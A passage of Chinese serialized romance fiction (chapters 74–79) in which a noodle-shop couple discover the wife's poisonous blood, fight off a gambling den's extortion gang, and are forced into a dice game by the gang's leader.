阿福沮丧地嗷了一声,然后便将手中的小虎头鞋给塞进枕头下,搂着娘子睡觉。 娘子不懂也没关系,他去问别人就好了! 第二日天还不亮,丑丫和阿福就起来了,今日面馆开业,他们要早早起来准备。 天光大亮,镇上的行人开始多了起来,他们的小面馆也开张了,因为提前做过宣传,最开始来的都是之前的老顾客,慢慢地,面馆飘出的香味也吸引了不少新顾客进来,生意红火。 不知不觉间已经搬来镇上两个月了,阳春三月,人们换下厚重的棉衣,穿上了衬衫。 阿福和丑丫的生活很规律,守着他们的小面馆过日子,没了村里那些糟心的村民来找茬,他们的小日子蒸蒸日上。 第74章 她的血有问题? 偶尔也可以从来吃面的客人嘴里听到一些关于清水村的消息,比如,清水村村民做了丧尽天良的事,老天爷看不下去,放了一把天火,将整个村都给烧了。 又比如,清水村被土匪打劫了,土匪不仅抢了他们的钱财,还放火烧了全村。 还有的打探到的消息接近真相,清水村村民欺负村里一对小夫妻,被人家夫妻俩给报复了,现在清水村的村民有的在四处借钱重建房子,有的拖家带口去投奔亲戚,总之怎一个惨字了得。 丑丫并不关心他们的事,他们有这样的下场也都是他们的报应,怨不得别人。 春雨贵如油,新一年的春雨开始下了,连绵不绝,淅淅沥沥。 雨天,镇上的人便少了,再加上农忙时节,有地的人家都在忙着春耕,丑丫和阿福的生意进入了淡季。 又是一个小雨连绵的天气,丑丫干脆关了店,给自己和阿福放一个假。 厨房的烟囱炊烟袅袅,丑丫在厨房给阿福做好吃的,阿福穿着蓑衣出了一趟门,要去镇上卖菜的小贩那里买菜。 从前住在村里,菜可以自己种,但现在搬到镇上,小院里从前铺了青石板,丑丫便没有开垦菜地,只能出门买菜吃。 锅里炖着红烧肉,丑丫在灶台上切着几样小菜,没注意到脚边有一条碧青色的毒蛇正慢悠悠地朝她爬来。 脚踝处传来一阵刺痛,丑丫低头一看,就见一条竹叶青盘缩在她的脚边,她吓了一跳,尖叫一声,同时脸色也变得苍白。 她被蛇咬了! 被蛇咬的人很难救回来,她难不成就要死了吗? 蛇就在她脚边,她不敢轻举妄动,如果一击不能将它毙命,她说不定会被咬第二口,那时候,她就真的只能等死了! 打蛇打七寸,她握紧手中的菜刀,瞄准蛇的七寸的位置,但还不等她动手,那蛇居然似乎十分痛苦一般在地上扭曲地翻滚起来,没一会儿的功夫便再也没了动静。 丑丫吓得额头布了一层冷汗,见蛇好像是死了,她够了一根灶门口的柴火,试探着戳一戳,果真没什么反应。 她长长舒了一口气,暂时安心下来,可是一瞬过后便是满腹的疑惑,它为何莫名其妙的死了? 她找了凳子坐下,掀起裙摆,只见那被罗袜包裹的脚踝处有两个血点,除了一点微微的刺痛,她并未感觉有其他难受的地方。 将袜子给脱下,露出了两个像用针戳了两个点一样的牙印,没有红肿,也没有其他中毒的感觉。 难不成这蛇没毒?但丑丫否定了这个想法,这条蛇是竹叶青,剧毒,她认识的。 那又是为何被咬了,没中毒,相反蛇却死了?难不成是她有问题? 她刚想到这儿,院外就已经传来了阿福的高兴的喊声:“娘子,我回来了!” 丑丫慌忙将袜子和鞋子穿上,不想让阿福看到她被蛇咬了,不想他担心。 她刚将自己收拾妥帖,阿福就已经进了厨房,见地上那条不知生死斗毒蛇,阿福果真瞬间紧张起来。 他将菜篮子给扔在地上,抽出自己随身携带的匕首,手一挥,匕首便插进了蛇的七寸位置。 做完这一切,他跨步走向丑丫,将他拉到自己跟前,从上到下仔细地检查。 “娘子,有没有被咬到?” 他很担心,被蛇咬到,很难医治,他是知道的。 丑丫看他这么担心自己,心里暖暖的,还有些苍白的小脸展露一丝笑意:“放心吧阿福,没有受伤,它刚出现我就发现了,将它打晕了,就是有些被吓到了。” 阿福听她这么说,才松了一口气,将丑丫搂紧怀里,像她平时哄他一样,轻轻地,一下又一下地顺着她的背。 “不怕,不怕,蛇已经死了,娘子不怕。” 丑丫将脑袋靠在他的胸膛上,深深地吸两口那阵让她安心的气息,暂且将毒蛇莫名死亡的事情给抛之脑后。 抱了好一会儿,厨房里的阵阵肉香也逐渐变为带着焦糊味道的肉香,丑丫才想起来她的锅里还有红烧肉呢,顿时“呀”了一声,赶紧从阿福的怀抱里脱离,去查看锅里的情况。 这一顿饭,两人吃着焦糊的红烧肉配大米饭,虽然味道一言难尽,却还是把它都给吃完了。 晚上,耳边传来阿福绵长的呼吸声,丑丫却辗转难眠,她的脑海里闪过很多画面。 一会儿是七岁那年,那个小男娃在她面前脸色发青、抽搐着口吐白沫的画面,一会儿又是何勇中毒的场景,以及今天这条莫名死亡的蛇。 这几者之间究竟有什么秘密?她的身体到底有什么问题?又或者,她真的如别人所说那样是个妖女? 她有满腔的疑惑,可百思不得其解,在即将迷离睡去之前,她的脑子突然灵光一闪,闪过了一种可能! 血!她的血有问题! 综合几次怪事来看,它们之前的共同点便是她都流血了! 七岁那年,她被那小男孩打得流鼻血,被何勇打那次也不例外,而今天的这条蛇,也将她给咬见血了。 所以他们都是沾上了她的血才出事的? 这么一想,她的困意又一扫而空,甚至想现在就去验证她的这个猜想。 她想起身,可刚有动作,身边的阿福便已经缠了上来,用他的胳膊搂着她的腰,嘴里迷迷糊糊的喊着娘子。 睡着的男人很乖,丑丫看得一阵心软,又躺了回去,轻轻摸了摸阿福的脸,声音低低的哄着“我在呢,睡吧。” 阿福又陷入沉睡,只不过搂着娘子的手却不曾放开,那是他的宝啊,舍不得放! 第二日还是一个雨天,面馆依旧没开张,阿福出门去买雄黄粉,春天蛇开始活动了,他要将院子的各个角落都洒满雄黄粉,担心它们又吓到娘子。 丑丫坐在门前缝制春衫,眼神突然聚焦在一排搬家的蚂蚁上,她昨晚的疑惑又涌上心头。 她将衣裳放回了笸箩里,手里拿着一根针,蹲身,用针将指尖扎破,一颗小血珠凝聚,她将血珠滴落在蚂蚁的队伍旁边,蚂蚁闻到血腥味,都朝着血滴爬来。 第75章 上门来收保护费 丑丫蹲在地上,认真的看着眼前的这一幕,呼吸有些微微急促,心也提了起来,盯着蚂蚁的眼神都不敢转动。 四五只蚂蚁沾到了血,片刻后便出现了反应,他们跌跌撞撞、毫无方向地乱窜,动作由剧烈逐渐变得迟缓,仿佛正经历着巨大的痛苦一般,最后仰面朝天,彻底地失去动静。 蚂蚁死了,丑丫的呼吸也逐渐变得平稳,眼神有一刻的放空,脑子很乱,完全集中不起注意力,就连她自己也不知道此刻她在想些什么。 她的血,真的有问题! 可这是为何?她不是一个普普通通的农村丑丫头吗,这样的事情为什么会出现在她身上? 突然间觉得,村民骂了她这么多年的怪胎、妖女,好像也有些正确,她真的很怪! 刻有“苏”字的玉佩,带毒的血,这一切究竟是巧合还是背后有什么惊天秘密? 她想不通,脑子乱成了一锅粥,门口处传来阿福开门的声音,她站起身,抬脚将地上的那滴血给碾散,青石板地面上再也看不清血迹。 阿福要是知道她的血有毒,应该会担心害怕吧,还是暂且不告诉他了。 门外的阿福拎着两包雄黄粉进来,看到娘子就露出一个大大的笑脸,让看到的人也随之心情愉悦。 看到娘子在给自己做新衣服,阿福更加的开心了,快步跑了过来,摸摸丑丫的头,然后又乐呵呵地拎着雄黄粉到院子各处撒药去了。 丑丫浅浅一笑,刚才跌宕起伏的心情又回归平静,有毒就有毒吧,只要让她能天天看到阿福的那张笑脸,她便也没什么担忧的了。 淅淅沥沥下了数天的春雨,老天爷终于放了晴,草长莺飞、春江水暖,镇上愈发热闹了。 有人摘了新鲜的野菜来卖,丑丫将其都买了,给小面馆添个开胃的清爽小菜,住在村里时觉得野菜不稀奇,可搬到镇上后,想吃一口野菜也成了问题,只能花钱买。 小面馆的生意又好了起来,阿福和丑丫两人一人擀面,一人煮面上菜,配合十分默契,眨眼间,一个春季又过完了,天气逐渐炎热,迎来初夏。 经过几个月的发展,阿福和丑丫的小面馆在镇上出名了,受到别人羡慕的同时也遭到同行的嫉妒。 不是没人来找茬,但阿福的身手可不是闹着玩的,自从教训了一个出头鸟之后,便再也没人敢上门闹事,他们的小日子倒也过得悠哉。 只不过今日,大好的明媚天气,面馆内也其乐融融,却来了几个煞风景的。 丑丫刚将一个客人点的面条端到桌上,就见门外呼啦啦涌进来一群凶神恶煞的男人。 六个男人,为首的男人长得五大三粗,面容凶恶,活像门上驱邪避鬼的门神,手里拿着一把长刀,散发着森森的寒意和杀气。 男人将刀往入门的桌上劈去,刀刃嵌入桌板上,坐在那一桌的客人被吓得噤若寒蝉,手里的筷子都掉在了地上。 而其余的几个手下则将门口给死死堵住,手里也拿着武器,不让人逃走。 为首的男人大喝道:“谁是老板,上半年的保护费该交了,你们是家新店吧,新来的要多交十两的入会费,一共四十两,赶紧掏银子!” 丑丫看了眼情况,将手里的托盘和抹布给放下,看来今天是遇上硬茬了。 阿福自是看不下去他们这种耀武扬威的做派,解下身上的围裙要去给他们一个教训,却被丑丫给拦住。 丑丫皮笑肉不笑,语气淡定:“敢问几位是何方神圣?还有这保护费是何种说法?我们夫妻初来乍到,还不曾听说过开店要交保护费的说法。” 男人闻言,哈哈大笑,对身后的小弟挥手道:“来,给他们说道说道,爷爷是谁,爷爷又是什么身份!” 身后的小弟们也跟着阴阳怪气放声大笑,其中一个尖嘴猴腮、头发细黄的男人仰着脸,一脸猖狂自豪道:“睁大你们狗眼好好看看,站在你们跟前的人,可是神威赌坊的二把手,豹爷!” “知道我们神威赌坊是干嘛的吗?东街和西街的所有商铺都归我们神威赌坊管,凡是在镇上开店的,都要给我们神威赌坊交保护费,之后才能承我们的庇护!” 丑丫听明白了,这就是一群地痞流氓来敲诈抢钱的! 她唇微微勾着,脸上带着笑,说话也很和气:“多谢几位爷好意,小店小本经营,赚点蝇头小利,就不用各位爷来庇护了。” 豹爷一听这话当即就变了脸色,他们在镇上也混了好几年了,什么样的硬骨头没见过,最后还不是诚服在他们的拳头下了吗? 他冷笑两声,嘲讽道:“小娘们儿不懂事,别怪我没提醒你,有时候能用钱解决的事情才是最好解决的,别到时候不仅丢了钱,还丢了命就不划算了。” 丑丫的笑意收敛住,不想再和他们虚与委蛇。 她和阿福不是交不起那笔保护费,可是她不想交。 四十两可以让她吃饱穿暖好几年,四十两可以买一头牛,四十两也是她在遇到阿福钱永远存不到的银两! 她生来就遭受过太多的不公,她不想助长这种不公的气焰,就是拼个两败俱伤、你死我活,她也不想就这么低头! “您别说,我这个小娘们最爱的就是银子,谁敢抢我的银子,我就和他拼命,到最后是谁丢命还不一定呢!” 丑丫迎上豹爷凶神恶煞的眼神,圆润的眼眸中满是凶光,让看到的人心神都一颤。 在坐的客人都吓得打哆嗦,在镇上生活多年,他们当然知道神威赌坊是一群什么角色,这小两口遇上他们,凶多吉少! 此刻见这长得小巧的老板娘居然还敢和神威赌坊的二把手呛声,他们愈发为她捏了把汗。 豹爷很少能遇上这么与他硬刚的,顿时就觉得自己的威严受到了挑战,手一提,扎在桌板上的大刀便被他拔了出来,挥刀便朝着丑丫砍去。 “臭娘们,给脸不要脸,给老子去死!” 第76章 不要命的疯女人 但他的刀刚挥出,还没碰上丑丫,就感觉自己的胸腔受到了一股强大的冲力,紧接着自己便不受控制地往后飞去。 砰一声巨响,豹爷在众人目瞪口呆的视线中飞出了店里,摔在了门口的大街上,口吐鲜血,爬了好几次都没能爬起来。 阿福神色冷得像寒冰,一手将丑丫给护在身后,一脚直接将豹爷给踹飞出去。 “敢欺负我娘子,找死!” 神威赌坊的人被惊得呆住了,而店内的客人们也是吓得呆若木鸡。 他们刚刚看到了什么?威风凛凛的神威赌坊二把手豹爷居然被踹飞了,而踹飞他的人居然是面馆的那个俊俏傻夫? 他们经常来这家面馆吃面,自然是知道这家面馆的男主人是个长相极其俊美,但却智力不健全的傻子,但没想到,傻子还能有这种身手! 一时间不知道到底谁才是傻子! 神威赌坊的手下们在震惊愣神过后赶忙跑出门外去搀扶他们的老大,丑丫见状,忙将店内的客人给轰走,以免一会儿打斗起来会伤到他们。 “诸位,今日事发突然,招待不周,待改日再请各位好好吃一碗面!” 客人们对这家小面馆的感觉一直很好,如今见老板这么大义,心中更加感动,慌忙拱手行礼后便仓皇逃走。 她家傻夫会功夫,他们可不会,还是赶紧逃命要紧! 客人们跑光了,门外摔得吐血的豹爷也缓了过来,不愧是二把手,皮糙肉厚,这么摔都没能将他给摔死! 豹爷带着一腔的怒气冲了进来,手中的刀指向丑丫和阿福,嘴边还挂着血,厉声怒喝:“操他娘的,给老子将这小娘们和这狗日的给老子抓起来,老子要将他们抽筋扒皮!” 打斗一触即发,手下们握着武器朝着丑丫和阿福冲来,阿福一手护着丑丫,另一手与人打斗。 一手折断一人的胳膊,抢了他手里的长刀,阿福双臂翻转,那把普通的刀在他手中耍出了花,看得人眼花缭乱。 神威赌坊的人觉得自己人多势众,起初并没将阿福看在眼里,他之所以能将豹爷给踢飞,那是因为他们大意了! 但交手后,他们就发现他们错了,大错特错! 长刀挥舞,割到人的身上,血花四溅,发出一声声割肉的呲呲声,以及受伤的人都惨叫声。 豹爷会些功夫,但在阿福跟前完全不够用,他像一头笨重的熊,只有一腔蛮力,而阿福,灵活矫健,如鱼得水,几招的功夫,豹爷的身上就布满了大大小小的伤口。 他完完全全可以杀了他,但此时店外已经围满了看热闹的人,杀死一个人惹来的麻烦太多! 丑丫没给阿福拖后腿,她也抢了一把刀,双手握紧,不要命地、毫无章法地往对面的人砍去。 她打架,主打一个不要命,被别人砍一刀,那她就砍十刀还回去! 神威赌坊的手下们都是些花拳绣腿,哪里见这么疯狂的女人,一个个边打边骂人。 “操!这娘们他娘的是不要命吗?” “疯子!这两口子都是疯子!” 不到一刻钟的功夫,六个在镇上叱咤风云、称霸一方的地痞,被打得在地上爬不起来,身上被刀砍了大大小小的口子,一动便是钻心的疼。 豹爷是真的怕了眼前的这个男人,这他娘的哪里是傻子,分明就是煞神,哪个不长眼的兔崽子打听的消息。 他们虽然年年收保护费,但都是看人下菜碟,手下说镇上新开了一家面馆,生意不错,也没什么背景,所以他们才来收保护费了。 谁能想到,遇上了个硬茬! 他可算明白了最开始小娘们说的那句话,“谁丢命还不一定呢”,可不是嘛,但凡今日是在个没人的角落,他们六个人都别想活着! 阿福手里拎着的刀还滴着血,冷冷地看着地上横七竖八躺着的几人,其中一人挣扎着往门外爬,阿福刀一挥,明晃晃的长刀飞出,扎进了那人的大腿里,疼得他发出如杀猪一般的惨叫。 其他人吓得战战兢兢,不敢再偷偷摸摸搞小动作,即便是高傲猖狂的豹爷,此时也不得不低下头:“这位壮士,今日是我们有眼无珠,冲撞了你们,敢问什么条件才能放我们走,我们一定尽量满足!” 阿福不想和他们说话,看向了娘子,打架时是战无不胜、威风凛凛的战神,打架结束,他还是那个听娘子话都乖阿福。 丑丫对着阿福笑了笑,环视店一周,低眸看向豹爷,声音有些清甜,但听在神威赌坊的人耳中却没什么温度。 “我和我相公也不是喜欢为难人的人,今天是你们先来挑衅,让我们做不成生意,店被砸了,也弄脏了,你们就帮忙把店给打扫干净,再赔我们五十两的损失吧。” 豹爷羞恼又气愤,但是只能打掉牙往肚子里咽,他哪里听不出来,这小娘们就是想羞辱他! 他堂堂一个神威赌坊的二把手沦落到去给人打扫卫生,说出去,他以后还怎么在道上混! 但是气愤又如何,他打不过那男人是事实,只能暂且忍下。 他讪笑着应下,拖着满是伤痕的身体,和手下一起将小面馆给打扫干净。 桌子重新摆放好,地上的血迹也擦洗干净,最后给丑丫掏了五十两银子才一瘸一拐地离去。 操他奶奶的,今天真是赔了夫人又折兵,保护费没收到,还倒贴银子! 见他们出了面馆,围在门口看热闹的群众都自动让出一条道,有的则是像躲瘟神一样赶紧跑开。 人群看向阿福和丑丫的眼神都变了,有敬畏、有畏惧,也有崇拜,谁能想到这对刚搬来的小夫妻这么厉害呢。 也有曾经被收过保护费的店家热泪盈眶,他们也不想交钱啊,可是他们没有本事,打不过,没背景,只能吃了闷亏,今日见那群地痞被教训,他们狠狠的解了一口气! 豹爷一行人如丧家之犬,走过人群后,一个手下一脸愤恨地捂着自己被揍肿的腮帮子,气冲冲道:“豹哥,这事儿就这么算了?我们就认下这个大亏了?他娘的脸都丢完了!” 豹爷捂着自己还在渗血的胳膊,咬牙切齿道:“老子可咽不下这口气,先回去找大哥,从长计议!” 第77章 相公,相公,相公 面馆门口的人群散去,围观群众还在谈论着刚刚惊心动魄的场面,不出意外,不用半天的功夫,阿福和丑丫的名声又将在镇上传扬开来。 丑丫看着已经被打扫干净的店面,眉头皱着,尽管已经看不出有打斗的痕迹,但她还是不满意。 刚刚地上可都是那些人的血,她想起来就觉得恶心,遂拿了块湿帕子,将地上又擦一遍。 阿福也跟着一起擦地,但是那张俊脸上却挂着傻笑,好像十分开心一般。 丑丫心中的郁气在看到阿福的笑容时消散了不少,嘴角也不自觉地扬起了浅笑:“阿福,笑什么呢?这么开心。” 阿福得意地扬眉,脸上的笑愈发的明显,故意不告诉丑丫:“阿福就是高兴!” 丑丫被他逗笑,无奈摇了摇头,原以为阿福不会告诉她了,却不想男人看着她,脸上有高兴,也有些许的别扭和不好意思。 “因为娘子叫阿福相公,所以阿福高兴,以后娘子也要叫!” 想起刚才娘子说的那句“我相公”,阿福便觉得心里美滋滋的,娘子很少会这样叫他,就算是和别人的称呼也没有,她叫他阿福,和别人就称呼他“我家阿福”。 他喜欢阿福这个名字,也喜欢娘子叫他阿福,但更喜欢娘子叫他相公,他可以被别人叫阿福,但却只能被娘子叫相公。 丑丫听完他的话,表情微微怔愣,可随即而来的又是酸酸甜甜,五味杂陈的感觉。 原来,有一个人的情绪会被她随意的一句话牵动,她只不过是随口、没太注意的一句话就会让他暗自开心。 她抚平自己的心绪,凑到阿福的耳边,嘴角扬着,甜甜的,又软软的唤了一句:“相公。” 柔软的话音冲入耳中,却有振聋发聩的效果,阿福的耳朵颤了颤,瞬间通红一片,他脸上的笑更灿烂了,也愈发显得傻乎乎,可却也是发自心底的高兴。 “相公,相公,相公。” 丑丫又连唤了三声,这次她没有压低音量,很大声、不扭捏的说着男人想听的话。 阿福高兴得有些手足无措,最终将他一腔的激动转化为干活的动力,卖力的擦地,脸上的笑容都要溢出来了。 他生得冷峻,那张脸本该是不爱笑的,可是此刻挂上那灿烂的笑却耀眼极了,好看得让人移不开眼。 神威赌坊带来的晦气很快便消失,小面馆又恢复了往常的整洁温馨,而此时神威赌坊内却又是另一种情景。 赌坊议事厅内,主位上坐着的男人漫不经心的玩弄着手里的酒盏,听着手底下的人禀报今天所遭遇的事,他脸上的神色并未有多大起伏,不是知道对方底细,而是不屑。 不过是一个傻子和一个丑娘们,能掀得起多大的浪,他们今天能胜,不过是因为去的人都是酒囊饭袋,真当他们神威赌坊都是这种水平? 等明日他再派一行人过去,将他们“请”到赌坊里来,到了他的地盘,如何解决,还不是他一句话的事! “下去吧,领点银钱疗伤,明日阿虎带着弟兄过去将人请来!” “是!” “谢大哥!” 叫阿虎的壮汉抱拳应声,跪着的豹爷等人俯首道谢,眼底闪过精光。 只要大哥肯出手,要了那对狗男女的命还不是易如反掌,今日的屈辱,他们明天都要讨回来! 第二日,面馆照常开业,但生意还是受到了昨天事情的影响,本该早有客人上门的时间,今天店内还是空空如也。 丑丫也不气馁,这样的情况她早就想到了,神威赌坊在镇上的影响甚大,客人们有所畏惧也是正常的。 过了巳时,店内终于迎来了第一位客人,一个老太太带着小孙子进了店,点了一碗素面。 老太太和小孩的穿着都很朴素,上面打了不少的补丁,看上去日子过的并不好,老太太挎着的篮子里还有两包药,想来是来镇上抓药的,还不知道昨天面馆发生的事情。 丑丫自己是泡在苦水里长大的,看到这种情况不免想到了自己的从前,心里一软,将一碗素面换成了肉臊子面。 面端到桌上时,小孩的眼睛亮了起来,可老太太却是满脸惶恐:“小姑娘,你上错了,我点的是素面。” 肉臊子面老贵了,他们吃不起啊! 丑丫如同才发现一般,懊恼的惊呼一声:“哎呀,看我这脑子,是我记错了,您看现在店里也没客人,这碗面我还是留给你们吃吧,不多收钱,就按素面的价格来。” 老太太连连推辞,推辞不过才不好意思的接受了这碗“天上掉的馅饼”,老人喂着小孙子,将碗里的肉都喂进了小娃娃的嘴里,自己只偶尔吃两口面。 丑丫看着,心里酸酸的,倘若她当年也能有这么个老人这般对她,那她也不会觉得活着太艰难了。 祖孙俩还没将一碗面吃完,门外又气势汹汹来了一群人,人数约莫二十余人,气势比昨天那群更甚。 丑丫看他们凶神恶煞的样子,都气笑了,这神威赌坊还真是吃多了没事儿干,难得他们一个小面馆被他们这般惦记。 黑压压的人群将小面馆团团围住,吃面的祖孙俩被吓得变了神色,小孩躲进了老太太怀里,尽管面很好吃,现在却再也不敢继续吃了。 人群中走进一个身穿虎皮做成的短衫的男人,他长得健壮高大,比起昨日叫豹爷的人也不遑多让。 他手里握着一把巨斧,粗黑浓密的眉毛野蛮生长,连成了一字眉,声音浩如洪钟:“你们就是打伤我们神威赌坊人的面馆老板?跟我们走一趟吧!” 他语气强硬,没有一点商量的意思,那气势仿佛丑丫和阿福只要说一个不字,他立马就能用他的巨斧将他们的脑袋给砍下来! “奶奶,我怕。” 冷冽的气氛中,弱弱的孩童声音显得格外突兀,老太太也怕得发抖,可还是紧紧搂着怀里的孩子。 丑丫心里一沉,今日他们来人众多,真要打起来,难免顾此失彼,她和阿福两个人很难护住祖孙两,或许真要和他们走一趟,见招拆招! 她和阿福对视一眼,阿福立马便明白了她的意思,微微点头,表示他同意,不管她做什么决定,他都相随左右。 丑丫对上虎皮男人的视线,沉着开口:“要我们和你们走也不是不可以,但得先让我店里的客人离开,并且,你们不能对他们下手!” 第78章 若是输了,随他处置 虎皮男人冷笑一声,眼底闪过一抹阴光,挥手,让身后人让路:“可以!” 丑丫走到祖孙俩跟前,放柔了语气:“老人家,你们别害怕,我送你们出店。” 老太太和小娃娃害怕地发抖,但听到眼前明明并不高大的小姑娘说出的话,心中莫名安定了不少。 丑丫和阿福将祖孙俩送出了店,看着他们走远,之后才锁了店门,跟着神威赌坊的人离开。 他俩神色不见慌张,就连锁门的动作都不疾不徐,不知道的人以为他们是去亲戚家串门。 在神威赌坊的人浩浩荡荡走进西街时,福记面馆周围的店铺都关了门,只留了一道门缝来打听情况。 见面馆的小两口跟着赌坊的人走了,他们都为他们捏一把汗,心中也下了定论,这小两口,多半是回不来了。 神威赌坊那是什么人啊,那是连官老爷都拿他们没办法的地头蛇,他们这些没有背景的老百姓,怎么可能会是他们的对手! 穿虎皮衣裳的男人被手下称为虎爷,和豹爷一起是神威赌坊老板郑覃的左膀右臂。 虎爷带着一队人手将丑丫和阿福给围在人群中间,以防他们路上逃走,走了一路,见两人都神色淡定,没有丝毫的害怕神色,不由高看他们两眼。 上次被他们神威赌坊这么“请”的人,可是腿抖成筛糠一样走过去的。 面馆离神威赌坊的距离算不上远,走了不到两刻钟便到了,走进赌坊,耳边是嘈杂的下注喊叫声,一股鱼龙混杂的污浊之气瞬间扑面而来。 见这么多人进来,赌坊内的客人都下意识闭了嘴,看向阿福和丑丫的眼神带了怜悯和看好戏的神色。 他们可都是赌坊的常客,像这样被赌坊抓来的人,通常都不会有好下场! 穿过摆放赌桌的大堂,进入后厅,里面早已经有人在等候,上首的高位上一副威严凶狠做派坐着的便是郑覃,手里拿着一串佛珠在把玩。 他长得并不算高,中等身材,约莫四十多岁,嘴角留着两撇精心养护的胡子,长得也普通,但那一双眼,眼尾微微上挑,不似桃花眼或狐狸眼那般风流多情,反而让他显得有些阴险。 虎爷拱手回禀:“大哥,人已经带到了。” 郑覃闻言,视线漫不经心地从佛珠上移开,一眼便看到了人群中那个最惹眼的男人。 面容冷峻精致,身材修长高大,劲瘦有力,竟是个极品! 他眼底闪过一缕暗芒,阴冷似毒蛇的眼里有浓浓的趣味浮现,直勾勾地盯在阿福身上。 阿福感受到那股恶心的眼神,抬眸,冷冽似寒霜,带着森然的杀意,只一眼,便让郑覃收回来视线,心里升起短暂的惧意后,接踵而至的便是更浓的兴趣。 傻子会有这样的眼神?有趣! 视线从阿福身上移开,转向他身旁的丑丫身上,只一眼,他就失望地摇摇头,嘴边还轻啧了一声。 一个极品男人居然配了一朵丑花儿,可惜! 阿福见他在看娘子,侧身挡在了丑丫跟前,将她遮得严严实实,凶狠的眼神瞪向郑覃,那么恶心的眼神,他不允许他看他的娘子! 厅堂内气氛有些微妙,最终还是郑覃一声阴冷的、意味不明的笑声打破局面。 他开口道:“两位与我们神威赌坊也算不打不相识,既然来了我们的地盘,那就按我们神威赌坊的规矩,好好体验一下我们的待客之道如何?” 丑丫不想与他多废话,他们肚子里岂会有什么好东西,不过一腔坏水等着对付他们罢了! “何必拐弯抹角,今日什么局面你我心知肚明,说吧,你想怎么解决,我们奉陪到底!” 郑覃没能等到那个俊美的男人开口,有些遗憾,当下嘴角又勾起一抹阴毒的笑,没事儿,现在不开口,一会儿有的是他开口的时候。 他一个眼神扫向手下,几个手下立马会意,出了后厅,不一会便端回了一张赌桌。 赌桌摆下,对坐放了两把椅子,郑覃对着阿福做了一个请的手势,眼尾带着轻佻、调戏的笑:“进了我神威赌坊,赌博便是这里的规矩,以赌定生死,倘若你们赢了,我们神威赌坊以后与你们便井水不犯河水,但若输了,你随我处置。” 他的话落,丑丫蓦地抬起头,那双圆润的杏眼带着寒意,上下打量郑覃,为何,她总觉得这个男人和阿福说话的语气像是地痞流氓调戏良家小媳妇。 她摇了摇头,将脑子里这些乱七八糟的想法给甩开,但愿是她想多了,他应该不至于这么变态吧? 她将思绪集中在眼前这件事上,赌博,那是她从未接触过的领域,若是真与这些赌场的老油条比拼,无异于以卵击石。 郑覃摆这么一道,明摆着不会让他们赢,而且,这场赌局一定有猫腻,就算她和阿福懂赌博,他们也会有办法让他们输! 她的心思沉了下来,拳头握紧,掌心也有了汗,郑覃说若是他们输了,阿福随他处置,是因为之前阿福打他的手下打得最狠吗?还是如她所担忧的那样,这个男人是个变态! 她紧张之际,一双大手握上了她的手,将她的手给包裹,因为紧张而发凉的手被一点点的温暖。 阿福握着她的手,另一只手摸上她的头顶,轻轻地揉了揉,最后拍一拍,嘴角浅浅地笑着,说的话让人安心:“娘子放心,一切有我。” 丑丫鼻子微微一酸,点了点头,不管是什么样结果,她和他一起面对,上刀山、下火海,她如影随形! 郑覃终于听到那男人开口说话,眸光亮了亮,声音如他想的那般好听,低沉有磁性,若是叫起来,大概也会很好听! 第79章 傻子走了狗屎运? 郑覃和阿福面对面坐下,表情冷峻的阿福带着杀伐果断的气势,即使只穿着一身普通的棉布衣裳,依旧难掩那通身的贵气。 郑覃的眼神毫不掩饰地盯着阿福看,越看便越满意那张脸,他阅人无数,后院的男宠更是不胜枚举,但是没有一个比得上眼前的男人。 阿福很不喜欢郑覃露骨恶心的眼神,他没有将他当一个人来看,而是个宠物、玩物! 他脸上流露不耐的神色,郑覃意犹未尽地收回了眼神,脸上依旧挂着胜券在握、玩弄阴毒的笑。 没事儿,他郑覃看上的人,从来就没有能逃出他手掌心的! 这赌场是他的天下,谁输谁赢都由他做主,等赢了他,他就有理由将这个男人圈禁在他的后院,让他当自己的男宠! 赌桌上摆了三个骰子和一个骰盅,郑覃叫来了一个荷官,解释道:“考虑到二位或许并未接触过赌博,所以,我们玩最简单的,猜大小,不下注,五局三胜!” 丑丫对赌博是一窍不通的,就算是最简单的赌大小,她也没接触过,此时只能默默站在阿福身后,将一切都交给他。 阿福点头,神色依旧平静淡漠,让人看不出他的情绪:“开始吧。” 荷官摇动着骰盅,哐哐的响声响彻后厅,所有人都安静了下来,那声音愈发的明显。 神威赌坊的人都是一脸看热闹的神态,这场赌局还没开始,结果就已经定下了,他们郑爷那手赌技出神入化,岂是一个新人能赢得过的! 阿福闭着眼睛,认真地听着骰盅里的声响,突然,后脑勺一阵轻微的刺痛,一些陌生又熟悉的记忆一点点涌入他的脑海,一瞬后,他的思绪恢复了清明。 啪一声,荷官将骰盅扣在了桌上,等着两人下押注。 因为这场赌局不赌钱财,无需下注,所以规则与正常的赌博还是有所不同,阿福和郑覃手里都各有两块木牌,两面分别刻有大小的字样。 荷官摇骰子结束后,两人根据自己的猜测,放置不同结果的木牌在桌上押注。 阿福回想刚才自己所听的结果,选了一块木牌,背面朝上摆放在桌面上,等待荷官宣布结果。 郑覃对自己很自信,一脸的漫不经心和玩世不恭,这是一场他必赢的赌局,他没什么好担心的。 荷官打开骰盅,高声唱道:“三、二、五,小!” 郑覃翻开自己押的木牌,上面刻有“小”字,神威赌坊的人见状,神气得耀武扬威,好话不要钱地往外冒,拍着郑覃的马屁,随后又一脸猖狂挑衅地看着阿福。 其中一人贱兮兮道:“小子,开牌啊!不会是猜错了,怕了吧!” 赌场的人起哄,嘲笑声一片,丑丫的拳头紧握着,掌心早已经被汗水湿透了。 阿福依旧一脸淡定,在众人的笑闹声中,他揭开了自己的木牌。 小! 赌坊的人都凑过脑袋来看,见他居然猜中了,一时间都“切”了一声。 没想到这小子运气还挺好,瞎蒙一个都蒙对了! 但是没关系,赌博这东西,三分靠运气,七分靠技术,他们就不信,这傻小子运气能好到局局都胜! 郑覃看到阿福押对了,并未有多震惊,运气罢了,他有的是时间陪他玩,耗尽他的运气! 丑丫见阿福押对了,提着的心暂且放下了一截,对阿福展露一个笑颜,此时才发现,她竟然紧张到脸色苍白,额头上也布上了冷汗。 阿福回头看她,看她乖乖地站在自己身后,看她明明很紧张却还是乖乖的对着自己笑,一颗心顿时变得又酸又软,还有些心疼。 他从怀里掏了帕子,站起身,给她擦了额头的冷汗,又握紧她的手,只有郑重的三个字:“相信我!” 丑丫点头:“好。” 一直板着一张冷脸的阿福此时却漾起微微的笑意,又轻轻揉了揉丑丫的脑袋:“娘子真乖。” 小两口黏黏糊糊的气氛让赌场的人看得牙酸,但大多都是不屑的,傻子就是傻子,一个丑八怪都当成宝,他们要是有他那皮囊,青楼里的姑娘多的是免费给他们睡的! 这么一想,他们就更牙酸了,这皮囊要是生在他们身上该多好啊,老天爷居然眼瞎给了一个傻子! 